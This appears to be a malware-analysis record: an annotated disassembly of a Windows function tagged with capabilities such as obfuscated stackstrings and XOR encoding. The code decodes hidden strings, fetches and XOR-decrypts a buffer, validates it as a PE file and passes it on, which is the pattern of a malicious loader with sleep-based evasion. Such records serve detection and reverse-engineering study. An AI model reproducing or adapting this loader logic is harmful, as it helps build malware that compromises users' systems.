Function at 0x140005a20
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate files on windows
Get common file path
Parse pe header
Set environment variable
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xd98]
sub rsp, 0xe98
mov ecx, 0x2bf20
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400035a8
call fcn.1400058e0
xor r14d, r14d
test eax, eax
jne 0x140006564
call fcn.140003284
mov r15d, 0x104
test eax, eax
jne 0x140005b3e
mov r8d, r15d
lea rdx, [rbp + 0x760]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140005b3e
mov byte [rbp + 0x78], 0x58
lea rcx, [rbp + 0x78]
mov byte [rbp + 0x79], 0x29
mov byte [rbp + 0x7a], 0x17
mov byte [rbp + 0x7b], 0x29
mov byte [rbp + 0x7c], 6
mov byte [rbp + 0x7d], 0x29
mov byte [rbp + 0x7e], 0x6c
mov byte [rbp + 0x7f], 0x29
mov byte [rbp + 0x80], 0x4d
mov byte [rbp + 0x81], 0x29
mov byte [rbp + 0x82], 0x37
mov byte [rbp + 0x83], 0x29
mov byte [rbp + 0x84], 0x6b
mov byte [rbp + 0x85], 0x29
mov byte [rbp + 0x86], 0x4a
mov byte [rbp + 0x87], 0x29
mov byte [rbp + 0x88], 0xf
mov byte [rbp + 0x89], 0x29
mov byte [rbp + 0x8a], 0x30
mov byte [rbp + 0x8b], 0x29
mov byte [rbp + 0x8c], 0x49
mov byte [rbp + 0x8d], 0x29
mov byte [rbp + 0x8e], 0x6b
mov byte [rbp + 0x8f], 0x29
mov byte [rbp + 0x90], 0x29
mov byte [rbp + 0x91], 0x29
mov al, byte [rbp + 0x78]
call fcn.1400068fc
lea rdx, [rbp + 0x760]
mov rcx, rax
call fcn.140002430
mov qword [rbp + 0xde0], r14
lea rcx, [rsp + 0x40]
mov dword [rbp + 0xdd0], r14d
mov rbx, r14
mov byte [rsp + 0x40], 0x69
mov byte [rsp + 0x41], 0x1e
mov byte [rsp + 0x42], 0x1e
mov byte [rsp + 0x43], 0x37
mov byte [rsp + 0x44], 0x44
mov byte [rsp + 0x45], 0x4b
mov byte [rsp + 0x46], 0x70
mov byte [rsp + 0x47], 0x70
mov byte [rsp + 0x48], 0x57
mov byte [rsp + 0x49], 0x17
mov byte [rsp + 0x4a], 0x24
mov byte [rsp + 0x4b], 0x31
mov byte [rsp + 0x4c], 0x4a
mov byte [rsp + 0x4d], 0x17
mov byte [rsp + 0x4e], 0x24
mov byte [rsp + 0x4f], 0x18
mov byte [rsp + 0x50], 0x31
mov byte [rsp + 0x51], 0x17
mov byte [rsp + 0x52], 0xb
mov byte [rsp + 0x53], 0x71
mov byte [rsp + 0x54], 0x70
mov byte [rsp + 0x55], 0x43
mov byte [rsp + 0x56], 0x1e
mov byte [rsp + 0x57], 0x5c
mov byte [rsp + 0x58], 0x2a
mov byte [rsp + 0x59], 0x70
mov byte [rsp + 0x5a], 0x51
mov byte [rsp + 0x5b], 0x43
mov byte [rsp + 0x5c], 0x5c
mov byte [rsp + 0x5d], 0x2b
mov byte [rsp + 0x5e], 0x70
mov byte [rsp + 0x5f], 0x43
mov byte [rsp + 0x60], 3
mov byte [rsp + 0x61], 0x70
mov byte [rsp + 0x62], 0x7d
mov byte [rsp + 0x63], 0x57
mov byte [rsp + 0x64], 0x3e
mov byte [rsp + 0x65], 0x3e
mov byte [rsp + 0x66], 0x57
mov byte [rsp + 0x67], 0x78
mov al, byte [rsp + 0x40]
call fcn.140006898
mov rcx, rax
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0xde0]
call fcn.140005828
test eax, eax
jne 0x140006301
mov qword [rbp + 0xde0], r14
lea rcx, [rsp + 0x78]
mov dword [rbp + 0xdd0], r14d
mov byte [rsp + 0x78], 0x1d
mov byte [rsp + 0x79], 0x59
mov byte [rsp + 0x7a], 0x59
mov byte [rsp + 0x7b], 0x45
mov byte [rsp + 0x7c], 0x54
mov byte [rsp + 0x7d], 0x35
mov byte [rsp + 0x7e], 0x7d
mov byte [rsp + 0x7f], 0x7d
mov byte [rbp - 0x80], 0x12
mov byte [rbp - 0x7f], 0x78
mov byte [rbp - 0x7e], 8
mov byte [rbp - 0x7d], 0x21
mov byte [rbp - 0x7c], 0x78
mov byte [rbp - 0x7b], 8
mov byte [rbp - 0x7a], 0x2b
mov byte [rbp - 0x79], 0x21
mov byte [rbp - 0x78], 0x78
mov byte [rbp - 0x77], 0xd
mov byte [rbp - 0x76], 8
mov byte [rbp - 0x75], 0x1c
mov byte [rbp - 0x74], 0x7d
mov byte [rbp - 0x73], 0x22
mov byte [rbp - 0x72], 0x59
mov byte [rbp - 0x71], 0xe
mov byte [rbp - 0x70], 0x36
mov byte [rbp - 0x6f], 0x7d
mov byte [rbp - 0x6e], 0x63
mov byte [rbp - 0x6d], 0x22
mov byte [rbp - 0x6c], 0xe
mov byte [rbp - 0x6b], 0x68
mov byte [rbp - 0x6a], 0x7d
mov byte [rbp - 0x69], 0x22
mov byte [rbp - 0x68], 9
mov byte [rbp - 0x67], 0x7d
mov byte [rbp - 0x66], 0xd
mov byte [rbp - 0x65], 0x12
mov byte [rbp - 0x64], 0x26
mov byte [rbp - 0x63], 0x26
mov byte [rbp - 0x62], 0x12
mov byte [rbp - 0x61], 0x11
mov al, byte [rsp + 0x78]
call fcn.140006838
mov rcx, rax
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0xde0]
call fcn.140005828
mov edi, eax
test eax, eax
jne 0x1400062e0
mov qword [rbp + 0xde0], r14
lea rcx, [rbp - 8]
mov dword [rbp + 0xdd0], r14d
mov byte [rbp - 8], 0x79
mov byte [rbp - 7], 0x58
mov byte [rbp - 6], 0x58
mov byte [rbp - 5], 0x63
mov byte [rbp - 4], 0x3b
mov byte [rbp - 3], 0x39
mov byte [rbp - 2], 0x77
mov byte [rbp - 1], 0x77
mov byte [rbp], 0x1e
mov byte [rbp + 1], 0x2d
mov byte [rbp + 2], 0x1e
mov byte [rbp + 3], 0x22
mov byte [rbp + 4], 0x2d
mov byte [rbp + 5], 0x29
mov byte [rbp + 6], 0x17
mov byte [rbp + 7], 0xc
mov byte [rbp + 8], 0x2d
mov byte [rbp + 9], 0x6e
mov byte [rbp + 0xa], 0x3b
mov byte [rbp + 0xb], 0x46
mov byte [rbp + 0xc], 0x3f
mov byte [rbp + 0xd], 0x67
mov byte [rbp + 0xe], 0x2d
mov byte [rbp + 0xf], 0x29
mov byte [rbp + 0x10], 0x2d
mov byte [rbp + 0x11], 5
mov byte [rbp + 0x12], 0x2d
mov byte [rbp + 0x13], 0x5a
mov byte [rbp + 0x14], 0x4a
mov byte [rbp + 0x15], 0x2d
mov byte [rbp + 0x16], 8
mov byte [rbp + 0x17], 0x2d
mov byte [rbp + 0x18], 0x1e
mov byte [rbp + 0x19], 0x77
mov byte [rbp + 0x1a], 0x17
mov byte [rbp + 0x1b], 0x58
mov byte [rbp + 0x1c], 0x22
mov byte [rbp + 0x1d], 0xc
mov byte [rbp + 0x1e], 0x77
mov byte [rbp + 0x1f], 0x13
mov byte [rbp + 0x20], 0x17
mov byte [rbp + 0x21], 0x22
mov byte [rbp + 0x22], 0x30
mov byte [rbp + 0x23], 0x77
mov byte [rbp + 0x24], 0x17
mov byte [rbp + 0x25], 5
mov byte [rbp + 0x26], 0x77
mov byte [rbp + 0x27], 0x4f
mov byte [rbp + 0x28], 0x6c
mov byte [rbp + 0x29], 0x61
mov byte [rbp + 0x2a], 0x61
mov byte [rbp + 0x2b], 0x6c
mov byte [rbp + 0x2c], 0x1a
mov al, byte [rbp - 8]
call fcn.1400067d4
mov rcx, rax
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0xde0]
call fcn.140005828
mov edi, eax
test eax, eax
jne 0x1400062e0
mov qword [rbp + 0xde0], r14
lea rcx, [rbp + 0x40]
mov dword [rbp + 0xdd0], r14d
mov byte [rbp + 0x40], 0x2a
mov byte [rbp + 0x41], 0x40
mov byte [rbp + 0x42], 0x40
mov byte [rbp + 0x43], 0x63
mov byte [rbp + 0x44], 0x29
mov byte [rbp + 0x45], r14b
mov byte [rbp + 0x46], 1
mov byte [rbp + 0x47], 1
mov byte [rbp + 0x48], 6
mov byte [rbp + 0x49], 0x41
mov byte [rbp + 0x4a], 7
mov byte [rbp + 0x4b], 0x4d
mov byte [rbp + 0x4c], 6
mov byte [rbp + 0x4d], 0x41
mov byte [rbp + 0x4e], 0x35
mov byte [rbp + 0x4f], 0x40
mov byte [rbp + 0x50], 0x64
mov byte [rbp + 0x51], 0x12
mov byte [rbp + 0x52], 0x35
mov byte [rbp + 0x53], 8
mov byte [rbp + 0x54], 0x40
mov byte [rbp + 0x55], 0x57
mov byte [rbp + 0x56], 0x12
mov byte [rbp + 0x57], 0x64
mov byte [rbp + 0x58], 0x69
mov byte [rbp + 0x59], 0x1f
mov byte [rbp + 0x5a], 8
mov byte [rbp + 0x5b], 0x4b
mov byte [rbp + 0x5c], 8
mov byte [rbp + 0x5d], 0x12
mov byte [rbp + 0x5e], 1
mov byte [rbp + 0x5f], 0x41
mov byte [rbp + 0x60], 0x40
mov byte [rbp + 0x61], 0x64
mov byte [rbp + 0x62], 0x1e
mov byte [rbp + 0x63], 1
mov byte [rbp + 0x64], 0x6e
mov byte [rbp + 0x65], 0x41
mov byte [rbp + 0x66], 0x64
mov byte [rbp + 0x67], 6
mov byte [rbp + 0x68], 1
mov byte [rbp + 0x69], 0x41
mov byte [rbp + 0x6a], 0x4d
mov byte [rbp + 0x6b], 1
mov byte [rbp + 0x6c], 0x46
mov byte [rbp + 0x6d], 0x5d
mov byte [rbp + 0x6e], 0x3a
mov byte [rbp + 0x6f], 0x3a
mov byte [rbp + 0x70], 0x5d
mov byte [rbp + 0x71], 0x3f
mov al, byte [rbp + 0x40]
call fcn.140006770
mov rcx, rax
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0xde0]
call fcn.140005828
mov edi, eax
test eax, eax
jne 0x1400062e0
mov qword [rbp + 0xde0], r14
lea rcx, [rbp - 0x40]
mov dword [rbp + 0xdd0], r14d
mov byte [rbp - 0x40], 0x7e
mov byte [rbp - 0x3f], 0x1c
mov byte [rbp - 0x3e], 0x1c
mov byte [rbp - 0x3d], 0x67
mov byte [rbp - 0x3c], 0xf
mov byte [rbp - 0x3b], 0x24
mov byte [rbp - 0x3a], 0x14
mov byte [rbp - 0x39], 0x14
mov byte [rbp - 0x38], 0x3d
mov byte [rbp - 0x37], 0x5a
mov byte [rbp - 0x36], 0x33
mov byte [rbp - 0x35], 0x4a
mov byte [rbp - 0x34], 0x40
mov byte [rbp - 0x33], 0x5a
mov byte [rbp - 0x32], 0x29
mov byte [rbp - 0x31], 0x4d
mov byte [rbp - 0x30], 0x1c
mov byte [rbp - 0x2f], 0x23
mov byte [rbp - 0x2e], 0xc
mov byte [rbp - 0x2d], 0x4d
mov byte [rbp - 0x2c], 0xf
mov byte [rbp - 0x2b], 0x23
mov byte [rbp - 0x2a], 0x4d
mov byte [rbp - 0x29], 0xc
mov byte [rbp - 0x28], 0x40
mov byte [rbp - 0x27], 0x23
mov byte [rbp - 0x26], 0x33
mov byte [rbp - 0x25], 0xf
mov byte [rbp - 0x24], 7
mov byte [rbp - 0x23], 0x30
mov byte [rbp - 0x22], 0x23
mov byte [rbp - 0x21], 0x6a
mov byte [rbp - 0x20], 0x23
mov byte [rbp - 0x1f], 2
mov byte [rbp - 0x1e], 0x14
mov byte [rbp - 0x1d], 0xc
mov byte [rbp - 0x1c], 0x1c
mov byte [rbp - 0x1b], 0x57
mov byte [rbp - 0x1a], 0x40
mov byte [rbp - 0x19], 0x14
mov byte [rbp - 0x18], 0x36
mov byte [rbp - 0x17], 0xc
mov byte [rbp - 0x16], 0x57
mov byte [rbp - 0x15], 0x43
mov byte [rbp - 0x14], 0x14
mov byte [rbp - 0x13], 0xc
mov byte [rbp - 0x12], 0x4a
mov byte [rbp - 0x11], 0x14
mov byte [rbp - 0x10], 0x3b
mov byte [rbp - 0xf], 0x48
mov byte [rbp - 0xe], 0x7c
mov byte [rbp - 0xd], 0x7c
mov byte [rbp - 0xc], 0x48
mov byte [rbp - 0xb], 0x2c
mov al, byte [rbp - 0x40]
call fcn.14000670c
mov rcx, rax
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0xde0]
call fcn.140005828
mov edi, eax
test eax, eax
jne 0x1400062e0
test rbx, rbx
jne 0x140006064
mov ecx, 0x870
call fcn.1400012c0
mov rbx, rax
test rax, rax
je 0x1400061d1
mov rsi, rbx
cmp byte [rbx], r14b
je 0x1400061d1
xor eax, eax
lea rdi, [rbp + 0xa8]
lea ecx, [rax + 0x14]
rep stosb byte [rdi], al
lea rdi, [rbp + 0xd0]
mov rcx, r15
rep stosb byte [rdi], al
mov byte [rbp + 0x98], 0x2c
lea rcx, [rbp + 0x98]
mov byte [rbp + 0x99], 0x75
mov byte [rbp + 0x9a], 0x1c
mov byte [rbp + 0x9b], 0x77
mov byte [rbp + 0x9c], 0x16
mov byte [rbp + 0x9d], 0x22
mov byte [rbp + 0x9e], 0x16
mov byte [rbp + 0x9f], 0x14
mov byte [rbp + 0xa0], 0xb
mov al, byte [rbp + 0x98]
call fcn.1400066ac
mov r8, rax
lea rcx, [rbp + 0xa8]
mov r9, rsi
mov edx, 0x14
call fcn.140001008
mov byte [rbp - 0x60], 0x2c
lea rcx, [rbp - 0x60]
mov byte [rbp - 0x5f], 0x6b
mov byte [rbp - 0x5e], 0x6b
mov byte [rbp - 0x5d], 0x56
mov byte [rbp - 0x5c], 0x46
mov byte [rbp - 0x5b], 0x78
mov byte [rbp - 0x5a], 0x5e
mov byte [rbp - 0x59], 0x5e
mov byte [rbp - 0x58], 0x69
mov byte [rbp - 0x57], 0x46
mov byte [rbp - 0x56], 0x5e
mov byte [rbp - 0x55], 0x51
mov byte [rbp - 0x54], 0x6b
mov byte [rbp - 0x53], 0x3c
mov byte [rbp - 0x52], 0x66
mov byte [rbp - 0x51], 0x5e
mov byte [rbp - 0x50], 0x36
mov byte [rbp - 0x4f], 0x51
mov byte [rbp - 0x4e], 0x3c
mov byte [rbp - 0x4d], 0x5b
mov byte [rbp - 0x4c], 0x5e
mov byte [rbp - 0x4b], 0x51
mov byte [rbp - 0x4a], 0x17
mov byte [rbp - 0x49], 0x5e
mov byte [rbp - 0x48], 0x4e
mov byte [rbp - 0x47], 0x73
mov byte [rbp - 0x46], 9
mov byte [rbp - 0x45], 9
mov byte [rbp - 0x44], 0x73
mov byte [rbp - 0x43], 6
mov al, byte [rbp - 0x60]
call fcn.140006644
mov r8, rax
lea r9, [rbp + 0xa8]
mov rdx, r15
lea rcx, [rbp + 0xd0]
call fcn.140001008
lea r8, [rbp + 0xdd0]
mov qword [rbp + 0xde0], r14
lea rdx, [rbp + 0xde0]
mov dword [rbp + 0xdd0], r14d
lea rcx, [rbp + 0xd0]
call fcn.140005828
test eax, eax
jne 0x1400061d1
jmp 0x1400061c0
inc rsi
cmp byte [rsi], r14b
jne 0x1400061bd
inc rsi
cmp byte [rsi], r14b
jne 0x140006070
mov ecx, 0x36ee80
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0xde0], r14
lea rcx, [rsp + 0x40]
mov dword [rbp + 0xdd0], r14d
mov byte [rsp + 0x40], 0x69
mov byte [rsp + 0x41], 0x1e
mov byte [rsp + 0x42], 0x1e
mov byte [rsp + 0x43], 0x37
mov byte [rsp + 0x44], 0x44
mov byte [rsp + 0x45], 0x4b
mov byte [rsp + 0x46], 0x70
mov byte [rsp + 0x47], 0x70
mov byte [rsp + 0x48], 0x57
mov byte [rsp + 0x49], 0x17
mov byte [rsp + 0x4a], 0x24
mov byte [rsp + 0x4b], 0x31
mov byte [rsp + 0x4c], 0x4a
mov byte [rsp + 0x4d], 0x17
mov byte [rsp + 0x4e], 0x24
mov byte [rsp + 0x4f], 0x18
mov byte [rsp + 0x50], 0x31
mov byte [rsp + 0x51], 0x17
mov byte [rsp + 0x52], 0xb
mov byte [rsp + 0x53], 0x71
mov byte [rsp + 0x54], 0x70
mov byte [rsp + 0x55], 0x43
mov byte [rsp + 0x56], 0x1e
mov byte [rsp + 0x57], 0x5c
mov byte [rsp + 0x58], 0x2a
mov byte [rsp + 0x59], 0x70
mov byte [rsp + 0x5a], 0x51
mov byte [rsp + 0x5b], 0x43
mov byte [rsp + 0x5c], 0x5c
mov byte [rsp + 0x5d], 0x2b
mov byte [rsp + 0x5e], 0x70
mov byte [rsp + 0x5f], 0x43
mov byte [rsp + 0x60], 3
mov byte [rsp + 0x61], 0x70
mov byte [rsp + 0x62], 0x7d
mov byte [rsp + 0x63], 0x57
mov byte [rsp + 0x64], 0x3e
mov byte [rsp + 0x65], 0x3e
mov byte [rsp + 0x66], 0x57
mov byte [rsp + 0x67], 0x78
mov al, byte [rsp + 0x40]
call fcn.140006898
mov rcx, rax
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0xde0]
call fcn.140005828
mov edi, eax
test eax, eax
je 0x140005c43
test rbx, rbx
je 0x1400062f9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x140006564
mov edx, r15d
lea rcx, [rbp + 0x430]
call fcn.140001060
mov rcx, r14
mov rbx, qword [rbp + 0xde0]
cmp dword [rbp + 0xdd0], r14d
jbe 0x140006346
movsxd rdi, eax
xor edx, edx
mov rax, rcx
div rdi
mov al, byte [rbp + rdx + 0x430]
xor byte [rcx + rbx], al
inc rcx
mov eax, dword [rbp + 0xdd0]
cmp rcx, rax
jb 0x140006326
mov eax, 0x5a4d
cmp ax, word [rbx]
jne 0x14000654c
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x14000654c
mov r8d, r15d
lea rdx, [rbp + 0x540]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [rbp + 0xde8], 0x15
lea rcx, [rbp + 0xde8]
mov byte [rbp + 0xde9], 0x1f
mov byte [rbp + 0xdea], 0x45
mov byte [rbp + 0xdeb], 0x75
mov byte [rbp + 0xdec], 0x6b
mov byte [rbp + 0xded], 0x78
mov byte [rbp + 0xdee], 0x47
mov al, byte [rbp + 0xde8]
call fcn.1400065dc
mov rcx, rax
lea rdx, [rbp + 0x540]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor r9d, r9d
lea rax, [rbp + 0x970]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x25]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000654c
lea r8, [0x140021050]
mov dword [rsp + 0x68], 0xacede045
lea rdx, [rbp + 0x970]
mov dword [rsp + 0x6c], 0x6e2e70a8
lea rcx, [rbp + 0xb80]
mov dword [rsp + 0x70], 0x8cd9d190
mov dword [rsp + 0x74], 0x5f7d64f3
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
xor eax, eax
lea rdi, [rbp + 0x1e0]
mov ecx, 0x250
lea rdx, [rbp + 0x1e0]
rep stosb byte [rdi], al
lea rcx, [rbp + 0xb80]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000654c
mov esi, 0x10
test byte [rbp + 0x1e0], sil
jne 0x14000652b
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x650]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x20c]
mov dword [rsp + 0x28], r15d
or r9d, 0xffffffff
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
mov dword [rbp + 0xdd8], esi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea r9, [rbp + 0xdd8]
lea r8, [rbp + 0xc0]
lea rcx, [rbp + 0x650]
lea edx, [rax - 1]
call fcn.1400011e8
test eax, eax
je 0x14000652b
mov r8, rsi
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xc0]
call fcn.140001130
test eax, eax
jne 0x14000652b
mov byte [rbp + 0x30], 0x1c
lea rcx, [rbp + 0x30]
mov byte [rbp + 0x31], 7
mov byte [rbp + 0x32], 1
mov byte [rbp + 0x33], 0x72
mov byte [rbp + 0x34], 0x57
mov byte [rbp + 0x35], 0x44
mov byte [rbp + 0x36], 0x79
mov byte [rbp + 0x37], 0x58
mov byte [rbp + 0x38], 0x5b
mov byte [rbp + 0x39], 7
mov byte [rbp + 0x3a], 8
mov byte [rbp + 0x3b], 7
mov byte [rbp + 0x3c], 0x7a
mov al, byte [rbp + 0x30]
call fcn.14000657c
mov rcx, rax
mov rdx, rbx
call fcn.140004f74
lea rdx, [rbp + 0x1e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140006461
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xde0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]